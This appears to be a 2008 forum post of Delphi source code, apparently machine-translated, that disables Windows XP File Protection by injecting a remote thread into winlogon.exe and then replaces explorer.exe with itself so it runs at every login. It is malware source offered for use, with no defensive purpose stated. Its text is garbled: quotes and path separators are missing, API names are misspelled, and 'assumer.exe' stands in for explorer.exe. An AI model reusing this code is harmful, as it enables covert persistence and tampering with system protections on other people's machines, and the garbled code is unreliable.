Disable XP protection for assumer.exe

Guidance:
Test on an even VPC. No more tests.
I did not call the dllcache directory. Would you like it?
{*************************************** ****************}
{}
{Disable XP protection. Replace assumer.exe}
{}
{Copyright (C) 2008 bbs.secdst.net}
{}
{*************************************** ****************}
Program Project1;
Uses
Windows, TlHelp32;
Function LowerCase (const S: string): string; // LowerCase
Var
Ch: Char;
L: Integer;
Source, Dest: PChar;
Begin
L: = Length (S );
SetLength (Result, L );
Source: = Pointer (S );
Dest: = Pointer (Result );
While L <> 0 do
Begin
Ch: = Source ^;
If (Ch> = A) and (Ch <= Z) then Inc (Ch, 32 );
Dest ^: = Ch;
Inc (Source );
Inc (Dest );
Dec (L );
End;
End;
Function CreatedMutexEx (MutexName: Pchar): Boolean;
Var
MutexHandle: dword;
Begin
MutexHandle: = CreateMutex (nil, True, MutexName );
If MutexHandle <> 0 then
Begin
If GetLastError = ERROR_ALREADY_EXISTS then
Begin
// CloseHandle (MutexHandle );
Result: = False;
Exit;
End;
End;
Result: = True;
End;
Function GetWinPath: string; // obtain the WINDOWS directory
Var
Buf: array [0 .. MAX_PATH] of char;
Begin
GetWindowsDirectory (Buf, MAX_PATH );
Result: = Buf;
If Result [Length (Result)] <> then Result: = Result +;
End;
Function GetTempDirectory: string; // get the temporary directory
Var
Buf: array [0 .. MAX_PATH] of char;
Begin
GetTempPath (MAX_PATH, Buf );
Result: = Buf;
If Result [Length (Result)] <> then Result: = Result +;
End;
Function EnableDebugPriv: Boolean; // The Elevation of Privilege is DEBUG.
Var
HToken: THANDLE;
Tp: TTokenPrivileges;
Rl: Cardinal;
Begin
Result: = false;
OpenProcessToken (GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken );
If LookupPrivilegeValue (nil, SeDebugPrivilege, tp. Privileges [0]. Luid) then
Begin
Tp. PrivilegeCount: = 1;
Tp. Privileges [0]. Attributes: = SE_PRIVILEGE_ENABLED;
Result: = AdjustTokenPrivileges (hToken, False, tp, sizeof (tp), nil, rl );
End;
End;
Procedure InjectThread (ProcessHandle: DWORD); // enter winlogon.exe to disable XP File Protection
Var
TID: LongWord;
HSfc, hThread: HMODULE;
PfnCloseEvents: Pointer;
Begin
HSfc: = LoadLibrary (sfc_ OS .dll );
PfnCloseEvents: = GetProcAddress (hSfc, MAKEINTRESOURCE (2 ));
FreeLibrary (hSfc );
HThread: = CreateRemoteThread (ProcessHandle, nil, 0, pfnCloseEvents, nil, 0, TID );
WaitForSingleObject (hThread, 4000 );
End;
Procedure InitProcess (Name: string); // find the winlogon.exe process PID
Var
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
ProcessHandle: dword;
Begin
FSnapshotHandle: = createconlhelp32snapshot (TH32CS_SNAPPROCESS, 0 );
FProcessEntry32.dwSize: = Sizeof (FProcessEntry32 );
If Process32First (FSnapshotHandle, FProcessEntry32) then begin
Repeat
If Name = LowerCase (FProcessEntry32.szExeFile) then
Begin
ProcessHandle: = OpenProcess (PROCESS_ALL_ACCESS, False, FProcessEntry32.th32ProcessID );
InjectThread (ProcessHandle );
CloseHandle (ProcessHandle );
Break;
End;
Until not Process32Next (FSnapshotHandle, FProcessEntry32 );
End;
CloseHandle (FSnapshotHandle );
End;
Const ExpFile = assumer.exe;
MasterMutex = OpenSoul;
Var
S: string;
Begin
If not CreatedMutexEx (MasterMutex) then ExitProcess (0); // Mutually Split
If not EnableDebugPriv then Exit; // permission escalation fails to Exit
InitProcess(winlogon.exe); // enter winlogon.exe to disable xp file protection and prevent system restoration.
S: = ParamStr (0); // get this name
If LowerCase (s) <> LowerCase (GetWinPath + ExpFile) then // The specified partition is not the same as the file name in the system.
Begin // if not
MoveFileEx (PChar (GetWinPath + ExpFile), PChar (GetWinPath + system32explorer.exe), MOVEFILE_REPLACE_EXISTING); // first move the current assumer.exe
CopyFile (PChar (S), PChar (GetWinPath + ExpFile), false); // copy yourself to the windows directory as erer.exe
End;
WinExec (PChar (GetWinPath + system32explorer.exe), 1); // run the real assumer.exe
End.